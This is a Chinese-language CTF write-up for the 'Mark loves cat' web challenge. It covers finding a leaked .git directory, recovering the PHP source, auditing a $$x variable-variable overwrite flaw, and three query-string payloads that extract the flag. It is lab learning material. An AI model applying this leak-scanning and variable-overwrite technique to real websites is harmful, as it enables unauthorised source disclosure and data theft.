一个普通的网站
拖到最下面有个类似上传联系方式的提交点,试了试发现没啥用。
这里仔细观察可以发现左下角有个dog,很奇怪吧。
看题目名字Mark loves cat,又是cat又是dog的,猜测这里应该暗藏玄机。
后面没思路了,稍微看了下提示。发现是git泄露。
这里没想到用扫描,因为现在最近的比赛貌似大都不给扫描,上去就提示题目不需要不允许暴力扫描(可能线下还要)
所以开始没想到扫描
dirmap跑一下
发现存在git泄露
githacker跑一下,跑出两个php
flag.phg
<?php $flag = file_get_contents(‘/flag‘);
index.php
前端一些不重要的代码 <?php include ‘flag.php‘; $yds = "dog"; $is = "cat"; $handsome = ‘yds‘; foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET[‘flag‘] === $x && $x !== ‘flag‘){ exit($handsome); } } if(!isset($_GET[‘flag‘]) && !isset($_POST[‘flag‘])){ exit($yds); } if($_POST[‘flag‘] === ‘flag‘ || $_GET[‘flag‘] === ‘flag‘){ exit($is); } echo "the flag is: ".$flag;
审计一下
flag.php里面有个变量就是flag值,
index.php包含了flag.php
看一下输出flag条件:
1:get传入flag,post传入flag
2:get和post传入的flag的变量值不能为flag
看前面的三个循环,会对flag参数的值改变
foreach($_POST as $x => $y){ $$x = $y; } foreach($_GET as $x => $y){ $$x = $$y; } foreach($_GET as $x => $y){ if($_GET[‘flag‘] === $x && $x !== ‘flag‘){ exit($handsome); } }
思路1:
foreach($_GET as $x => $y){ $$x = $$y; }
这里get传入yds=flag,又因为没传入post参数,所以会输出yds
思路2:
get传入is=flag&flag=flag
和上面差不多这里是通过is输出
思路3:
a=flag&flag=a&handsome=flag
这种题目其实有点像脑筋急转弯,慢慢尝试分析即可